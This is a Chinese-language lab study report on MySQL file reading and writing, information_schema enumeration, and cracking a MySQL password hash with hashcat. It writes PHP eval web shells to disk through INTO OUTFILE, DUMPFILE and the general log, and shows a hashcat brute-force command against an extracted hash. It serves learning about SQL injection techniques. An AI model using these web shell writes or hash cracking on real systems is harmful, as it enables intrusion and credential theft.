系统表学习
1、如何利用数据库的功能读写文件,需要什么样的条件才可以读写
2、学习数据库系统表的功能,如何利用 sql 语句查询库名、表名、字段名、内容以及当前用户等基本信息,将学习过程中关键部分整理成报告
扩展学习:尝试查询出用户的 hash,并使用 hashcat 来对获取的 hash 进行暴力破解
环境:
ubuntu: 18
mysql: 5.7.29
用户:new_user@localhost
mysql数据库读写文件
参考于:
条件
secure_file_priv
该参数用来限制数据导入和导出操作的效果,该值会限制LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数可作用的文件位置(需要file 权限),在MySQL 5.7.6版本引入。
–secure-file-priv=name Limit LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() to files within specified directory
参数值 | 说明 |
---|---|
NULL | MySQL服务会禁止导入和导出操作 |
目录名(默认值为/var/lib/mysql-files/ ) |
MySQL服务只允许在这个目录中执行文件的导入和导出操作 |
空(注意不是NULL) | 表示不对读写文件进行限制 |
mysql> show global variables like "%secure_file_priv%";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.01 sec)
查询语句为
show global variables like "%secure_file_priv%";
查看用户权限
show grants for new_user@localhost;
添加 file权限给new_user
grant file on *.* to 'new_user'@'localhost';
flush privileges;
FILE权限是对所有数据库文件而言的,因此数据库只能写成
*.*
,而不是某一个数据库
需注意secure_file_priv
参数为只读参数,不能用set global 命令修改
mysql> set global secure_file_priv = '' ;
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable
需修改配置文件my.cnf
或my.ini
,并重启mysql.
secure_file_priv=
读文件需满足条件
- 操作文件路径满足
secure_file_priv
条件 - 当前数据库用户拥有file的权限
- 文件大小小于max_allowed_packet。load_file()函数受到这个值的限制。
- 有文件的完整路径
查看方式:
mysql> show global variables like 'max_allowed%'; +--------------------+----------+ | Variable_name | Value | +--------------------+----------+ | max_allowed_packet | 16777216 | +--------------------+----------+ 1 row in set (0.01 sec)
修改方式
set global max_allowed_packet = 5*1024*1024;
写文件需满足的条件
- 操作文件路径满足
secure_file_priv
条件 - 当前数据库用户拥有file的权限
- 有文件的完整路径
实践
mysql 读取文件的方法
load_file()
先在`/tmp/下添加文件
nano 1.txt
hahaha
运行mysql
mysql> SELECT LOAD_FILE('/tmp/1.txt') AS Result;
+--------+
| Result |
+--------+
| 123
|
+--------+
1 row in set (0.00 sec)
已经有权限,load_file结果依旧为NULL的解决方案和讨论
这个问题好像在ubuntu有
load data infile()
这个要提前建表
create table user (cmd varchar(100));
mysql> load data infile '/tmp/1.txt' into table user;
Query OK, 1 row affected (0.00 sec)
Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
system cat
参考:
MySQL的system命令在渗透测试中的使用以及UDF提权
在MySQL 5.x中增加了system命令,简单的符号是!,从而使MySQL可以执行系统的命令
mysql> \! whoami xz mysql> system cat /tmp/1.txt 123
MySQL中写文件的方法
参考于:Mysql注入中的outfile,dumpfile,load_file
outfile
test.txt无需提前创建。
mysql> select * from user_info into outfile '/tmp/test.txt';
Query OK, 4 rows affected (0.00 sec)
mysql> select " @eval($_POST['cmd']); ?> " into outfile '/tmp/cmd.php';
Query OK, 1 row affected (0.00 sec)
dumpfile
需要注意的是,dumpfile只能输出一行。
select * from user_info into dumpfile '/tmp/test.txt';
select " @eval($_POST['cmd']); ?> " into dumpfile '/tmp/cmd.php';
system
system sudo nano /var/www/html/test/cmd.php
利用日志来实现文件读写
查看权限
mysql> show global variables like "%genera%";
+----------------------------------------+---------------------------+
| Variable_name | Value |
+----------------------------------------+---------------------------+
| auto_generate_certs | ON |
| general_log | OFF |
| general_log_file | /var/lib/mysql/ubuntu.log |
| sha256_password_auto_generate_rsa_keys | ON |
+----------------------------------------+---------------------------+
4 rows in set (0.01 sec)
默认为OFF
设置打开
mysql> set global general_log='on';
Query OK, 0 rows affected (0.00 sec)
mysql> set global general_log_file='/tmp/shell.php';
Query OK, 0 rows affected (0.00 sec)
select ‘<?php @eval($_POST["cmd"]); ?>’;
之后会写到日志文件中
xz@ubuntu:/tmp$ sudo cat shell.php
/usr/sbin/mysqld, Version: 5.7.29-0ubuntu0.18.04.1 ((Ubuntu)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
2020-03-29T13:27:31.893854Z 8 Query select ''
如果想把远程数据库的查询结果写到本地主机文件上, 可用:
mysql -h hostname -P portnum -u username -p databsename -e "SELECT ..." > file_name
学习数据库系统表
参考于:
MySQL 数据库系统表的利用,老哥好猛
Mysql5.7中自带四个数据库
[mysql中information_schema说明](https://www.cnblogs.com/lyftest/p/8034470.html)
模式和数据库是一回事吗?来源
当涉及到数据库时,关于模式有很多困惑。 经常会出现一个问题,即架构和数据库之间是否存在差异,如果有差异,会有什么区别。
取决于供应商
造成混乱的部分原因是数据库系统倾向于以自己的方式处理模式。
- [MySQL文档]()指出,从物理上讲,模式与数据库同义。 因此,模式和数据库是同一件事。
- 但是,Oracle数据库文档指出某些对象可以存储在数据库中,但不能存储在模式中。 因此,模式和数据库是两个不同的事物。
- 根据此SQL Server技术文章,架构是数据库内部的一个单独实体。 因此,它们是两件事。
因此,取决于您使用的RDBMS,方案和数据库可能相同也可能不同。
在Mysql5.7中自带四个数据库
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.00 sec)
库名 | 视图数量 | 库数量 |
---|---|---|
information_schema | 61 | 0 |
mysql | 0 | 31 |
performance_schema | 0 | 87 |
sys | 100 | 1(sys_config) |
information_schema 数据库
information_schema提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有时用于表述该信息的其他术语包括“数据词典”和“系统目录”。换句换说,information_schema是一个信息数据库,它保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。
常用视图
常用的视图为SCHEMATA
、 COLUMNS
、TABLES
、user_privileges
。
schemata
schemata表提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。该表对应的列说明如下
列名 | 中文解释 | 例子 |
---|---|---|
catalog_name | ||
schema_name | 数据库名 | |
default_character_set_name | 数据库默认编码 | utf8 |
default_collation_name | utf8_general_ci | |
sql_path | null |
SQL_PATH列的之总为NULL。
mysql> select * from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | demo | latin1 | latin1_swedish_ci | NULL |
| def | learn_sql | latin1 | latin1_swedish_ci | NULL |
| def | mysql | latin1 | latin1_swedish_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | sys | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
6 rows in set (0.00 sec)
tables
tables表提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,
show tables from database_name
的结果取之此表。
mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(512) | NO | | | |
| TABLE_SCHEMA | varchar(64) | NO | | | |
| TABLE_NAME | varchar(64) | NO | | | |
| TABLE_TYPE | varchar(64) | NO | | | |
| ENGINE | varchar(64) | YES | | NULL | |
| VERSION | bigint(21) unsigned | YES | | NULL | |
| ROW_FORMAT | varchar(10) | YES | | NULL | |
| TABLE_ROWS | bigint(21) unsigned | YES | | NULL | |
| AVG_ROW_LENGTH | bigint(21) unsigned | YES | | NULL | |
| DATA_LENGTH | bigint(21) unsigned | YES | | NULL | |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES | | NULL | |
| INDEX_LENGTH | bigint(21) unsigned | YES | | NULL | |
| DATA_FREE | bigint(21) unsigned | YES | | NULL | |
| AUTO_INCREMENT | bigint(21) unsigned | YES | | NULL | |
| CREATE_TIME | datetime | YES | | NULL | |
| UPDATE_TIME | datetime | YES | | NULL | |
| CHECK_TIME | datetime | YES | | NULL | |
| TABLE_COLLATION | varchar(32) | YES | | NULL | |
| CHECKSUM | bigint(21) unsigned | YES | | NULL | |
| CREATE_OPTIONS | varchar(255) | YES | | NULL | |
| TABLE_COMMENT | varchar(2048) | NO | | | |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
cloumns
columns表提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname(数据库名).tablename(表名)的结果取之此表。
mysql> desc columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(512) | NO | | | |
| TABLE_SCHEMA | varchar(64) | NO | | | |
| TABLE_NAME | varchar(64) | NO | | | |
| COLUMN_NAME | varchar(64) | NO | | | |
| ORDINAL_POSITION | bigint(21) unsigned | NO | | 0 | |
| COLUMN_DEFAULT | longtext | YES | | NULL | |
| IS_NULLABLE | varchar(3) | NO | | | |
| DATA_TYPE | varchar(64) | NO | | | |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES | | NULL | |
| CHARACTER_OCTET_LENGTH | bigint(21) unsigned | YES | | NULL | |
| NUMERIC_PRECISION | bigint(21) unsigned | YES | | NULL | |
| NUMERIC_SCALE | bigint(21) unsigned | YES | | NULL | |
| DATETIME_PRECISION | bigint(21) unsigned | YES | | NULL | |
| CHARACTER_SET_NAME | varchar(32) | YES | | NULL | |
| COLLATION_NAME | varchar(32) | YES | | NULL | |
| COLUMN_TYPE | longtext | NO | | NULL | |
| COLUMN_KEY | varchar(3) | NO | | | |
| EXTRA | varchar(30) | NO | | | |
| PRIVILEGES | varchar(80) | NO | | | |
| COLUMN_COMMENT | varchar(1024) | NO | | | |
| GENERATION_EXPRESSION | longtext | NO | | NULL | |
+--------------------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
user_privileges表(用户权限表)
user_privileges(用户权限)表给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表
列名 | 中文解释 | 例子/说明 |
---|---|---|
grantee | 例如“user’@’host” | |
table_catalog | ||
privilege_type | 权限类型 | 例如:select、drop等 |
is_grantable | 是否授权,即是否拥有“将此权限赋予其他用户”的权限,对应mysql.user表中的grant_priv字段 | 例如:YES或NO |
schema_privileges表(方案/数据库权限表)
schema_privileges(方案权限)表给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表
列名 | 中文解释 | 例子/说明 |
---|---|---|
grantee | 例“user’@’host” | |
table_catalog | ||
table_schema | 数据库名 | |
privilege_type | 权限类型 | |
is_grantable | 是否授权 | 例如:YES或NO |
查询
st=>start: Start
op=>operation: 查看数据库名
op1=>operation: 使用某数据库
op2=>operation: 查看表名
op3=>operation: 查看某表的列名或结构
op4=>operation: 执行操作
op5=>operation: 递归回去,依此检测错误
cond=>condition: 结果是否正确
e=>end
st->op->op1->op2->op3->op4->cond
cond(yes)->e
cond(no)->op5->e
# 当前用户名
select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
# 获取用户权限
mysql> select * from information_schema.user_privileges where grantee like '%new_user%';
+------------------------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+------------------------+---------------+----------------+--------------+
| 'new_user'@'localhost' | def | FILE | NO |
+------------------------+---------------+----------------+--------------+
1 row in set (0.00 sec)
# 查询数据库
show databases;
select schema_name from information_schema.schemata;
#通过库名选择数据库
use database_name #也可以直接通过多表查询
#查看当前库里的表格
show tables;
select table_name from information_schema.tables where table_schema='database_name'
# 通过表名来查询表的结构
desc tablename;
# 查询某表的所有列
Select column_name from information_schema.columns where table_name='table_name'
#获取列中信息
select *** from ***
其他三个表
- MySql
mysql的核心数据库,类似于sql server中的master表,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。(常用的,在mysql.user表中修改用户的密码)。常用关键字有
user
、host
、authentication_string
或password
- performance_schema
主要用于收集数据库服务器性能参数。并且库里表的存储引擎均为PERFORMANCE_SCHEMA,而用户是不能创建存储引擎为PERFORMANCE_SCHEMA的表。MySQL5.7默认是开启的。
- sys
Sys库所有的数据源来自:performance_schema。目标是把performance_schema的把复杂度降低,让DBA能更好的阅读这个库里的内容。让DBA更快的了解DB的运行情况。
扩展学习-hashcat
要求:
扩展学习:尝试查询出用户的 hash,并使用 hashcat 来对获取的 hash 进行暴力破解
介绍:
hashcat is the world’s fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to help enable distributed password cracking.
下载安装:
幸运的是,kali2自带hashcat ,但虚拟机跑起来有点问题
GIthub地址:https://github.com/hashcat/hashcat
详细的使用教程:Hashcat使用总结-先知平台
MYSQL password 函数
mysql> select host,user,authentication_string from user where user = "new_user";
+-----------+----------+-------------------------------------------+
| host | user | authentication_string |
+-----------+----------+-------------------------------------------+
| localhost | new_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+----------+-------------------------------------------+
1 row in set (0.00 sec)
hashcat -a 3 -m 300 --force 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 ?d?d?d?d?d?d
可能遇到问题:
* Device #1: This device’s constant buffer size is too small.
* Device #1: This device’s local mem size is too small.
No devices found/left.
解决方法:
将处理器改成单处理且单核
后记
补充了数据库读写的相关知识